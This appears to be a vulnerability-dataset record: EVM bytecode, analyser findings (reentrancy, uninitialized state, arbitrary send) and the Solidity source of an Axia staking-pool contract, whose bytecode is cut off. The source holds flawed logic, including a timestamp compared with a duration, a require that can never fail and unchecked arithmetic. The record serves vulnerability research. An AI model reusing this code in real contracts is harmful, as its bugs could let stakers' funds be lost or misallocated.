fffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b919050555061384042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061a8c042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b91905055506202a300600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506008600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122038f8b9d546fd60b8ae0b8df2508fdbb58aa8b3d985d7e0cfb7dff9be973232af64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,146 |
0x152959a2f50d716707fea4897e72c554272dc584
|
/**
*Submitted for verification at Etherscan.io on 2021-05-26
*/
/*
* @dev This is the Axia Protocol Staking pool 1 contract (Oracle FUND Pool),
* a part of the protocol where stakers are rewarded in AXIA tokens
* when they make stakes of liquidity tokens from the oracle pool.
* stakers reward come from the daily emission from the total supply into circulation,
* this happens daily and upon the reach of a new epoch each made of 180 days,
* halvings are experienced on the emitting amount of tokens.
* on the 11th epoch all the tokens would have been completed emitted into circulation,
* from here on, the stakers will still be earning from daily emissions
* which would now be coming from the accumulated basis points over the epochs.
* stakers are not charged any fee for unstaking.
*/
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract OSP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//======================================STAKING POOLS=========================================//
address public Axiatoken;
address public OracleIndexFunds;
address public administrator;
bool public stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_STAKE = 1000000000000000000; // 1 minimum
uint256 public MIN_DIVIDENDS_DUR = 18 hours;
uint public infocheck;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken;
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken, address _oracleindex) public onlyCreator returns (bool success) {
require(_axiatoken != _oracleindex, "Insertion of same address is not supported");
require(_axiatoken != address(0) && _oracleindex != address(0), "Insertion of address(0) is not supported");
Axiatoken = _axiatoken;
OracleIndexFunds = _oracleindex;
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000;
}
function stakingStatus(bool _status) public onlyCreator {
require(Axiatoken != address(0) && OracleIndexFunds != address(0), "Pool addresses are not yet setup");
stakingEnabled = _status;
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration;
}
//======================================USER WRITE=========================================//
function StakeTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen;
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen;
}
function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(OracleIndexFunds).balanceOf(msg.sender) >= _amount, "Insufficient Oracle AFT token balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(OracleIndexFunds).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(OracleIndexFunds).transferFrom(msg.sender, address(this), _amount);
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
require(IERC20(OracleIndexFunds).transfer(msg.sender, _amount), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, _amount);
TakeDividends();
}
function TakeDividends() public returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
}
|
0x608060405234801561001057600080fd5b506004361061012b5760003560e01c80637640cb9e116100ad578063b821b6bf11610071578063b821b6bf146102c5578063c8910913146102cd578063e0287b3e1461031e578063f3c756dc1461033b578063f53d0a8e146103585761012b565b80637640cb9e1461023b578063a43fc87114610258578063aa9a091214610275578063ac3c85351461029e578063b333de24146102bd5761012b565b80631e7f87bc116100f45780631e7f87bc146101d6578063368a36c4146101de578063376edab6146101fd5780636387c9491461022b57806369c18e12146102335761012b565b806265318b1461013057806306106eb41461016857806308dbbb031461018c5780631bf6e00d146101945780631cfff51b146101ba575b600080fd5b6101566004803603602081101561014657600080fd5b50356001600160a01b0316610360565b60408051918252519081900360200190f35b6101706103c7565b604080516001600160a01b039092168252519081900360200190f35b6101566103d6565b610156600480360360208110156101aa57600080fd5b50356001600160a01b03166103dc565b6101c26103fa565b604080519115158252519081900360200190f35b61015661040a565b6101fb600480360360208110156101f457600080fd5b5035610410565b005b6101c26004803603604081101561021357600080fd5b506001600160a01b038135811691602001351661041c565b610170610544565b610156610553565b6101c26004803603602081101561025157600080fd5b5035610559565b6101fb6004803603602081101561026e57600080fd5b50356105ce565b6101566004803603606081101561028b57600080fd5b5080359060208101359060400135610626565b6101fb600480360360208110156102b457600080fd5b503515156106da565b6101566107b6565b6101566108e0565b6102f3600480360360208110156102e357600080fd5b50356001600160a01b03166108e6565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101fb6004803603602081101561033457600080fd5b503561093d565b6101fb6004803603602081101561035157600080fd5b503561098b565b610170610994565b6004546001600160a01b0382166000908152600860205260408120600301549091111561038f575060006103c2565b6001600160a01b03821660009081526008602052604090206002810154600190910154600954600160401b929102030490505b919050565b6001546001600160a01b031681565b60035481565b6001600160a01b031660009081526008602052604090206001015490565b600254600160a01b900460ff1681565b60075490565b610419816109a3565b50565b600a546000906001600160a01b031633146104685760405162461bcd60e51b8152600401808060200182810382526028815260200180610f5c6028913960400191505060405180910390fd5b816001600160a01b0316836001600160a01b031614156104b95760405162461bcd60e51b815260040180806020018281038252602a815260200180610fac602a913960400191505060405180910390fd5b6001600160a01b038316158015906104d957506001600160a01b03821615155b6105145760405162461bcd60e51b8152600401808060200182810382526028815260200180610f846028913960400191505060405180910390fd5b50600080546001600160a01b039384166001600160a01b0319918216179091556001805492909316911617815590565b6000546001600160a01b031681565b60055481565b600080546001600160a01b031633146105a35760405162461bcd60e51b815260040180806020018281038252602b815260200180610e94602b913960400191505060405180910390fd5b600754600160401b8302816105b457fe5b600980549290910490910190819055600555506001919050565b600a546001600160a01b031633146106175760405162461bcd60e51b8152600401808060200182810382526028815260200180610f5c6028913960400191505060405180910390fd5b670de0b6b3a764000002600355565b60008060006106358686610b27565b9150915083811061064257fe5b6000848061064c57fe5b868809905082811115610660576001820391505b91829003916000859003851680868161067557fe5b04955080848161068157fe5b04935080816000038161069057fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b600a546001600160a01b031633146107235760405162461bcd60e51b8152600401808060200182810382526028815260200180610f5c6028913960400191505060405180910390fd5b6000546001600160a01b03161580159061074757506001546001600160a01b031615155b610798576040805162461bcd60e51b815260206004820181905260248201527f506f6f6c2061646472657373657320617265206e6f7420796574207365747570604482015290519081900360640190fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6000806107c233610360565b3360008181526008602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b15801561083257600080fd5b505af1158015610846573d6000803e3d6000fd5b505050506040513d602081101561085c57600080fd5b50516108a4576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60045481565b60008060008060006108f661040a565b6108ff876103dc565b61090888610360565b6001600160a01b0398909816600090815260086020526040902060038101546002909101549299919897509550909350915050565b600a546001600160a01b031633146109865760405162461bcd60e51b8152600401808060200182810382526028815260200180610f5c6028913960400191505060405180910390fd5b600455565b61041981610b54565b6002546001600160a01b031681565b806109ad336103dc565b10156109ea5760405162461bcd60e51b8152600401808060200182810382526032815260200180610e626032913960400191505060405180910390fd5b6007805482900390553360008181526008602090815260408083206001818101805488900390556009546002909201805492880290920390915554815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610a7257600080fd5b505af1158015610a86573d6000803e3d6000fd5b505050506040513d6020811015610a9c57600080fd5b5051610ae4576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518281529051339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a3610b236107b6565b5050565b6000808060001984860990508385029250828103915082811015610b4c576001820391505b509250929050565b600254600160a01b900460ff16610bb2576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600154604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610bfc57600080fd5b505afa158015610c10573d6000803e3d6000fd5b505050506040513d6020811015610c2657600080fd5b50511015610c655760405162461bcd60e51b8152600401808060200182810382526025815260200180610f376025913960400191505060405180910390fd5b60035481610c72336103dc565b011015610cb05760405162461bcd60e51b815260040180806020018281038252603d815260200180610efa603d913960400191505060405180910390fd5b60015460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610d0057600080fd5b505afa158015610d14573d6000803e3d6000fd5b505050506040513d6020811015610d2a57600080fd5b50511015610d695760405162461bcd60e51b815260040180806020018281038252603b815260200180610ebf603b913960400191505060405180910390fd5b33600081815260086020908152604080832042600382015560078054870190556001808201805488019055600954600290920180549288029092019091555481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610dfb57600080fd5b505af1158015610e0f573d6000803e3d6000fd5b505050506040513d6020811015610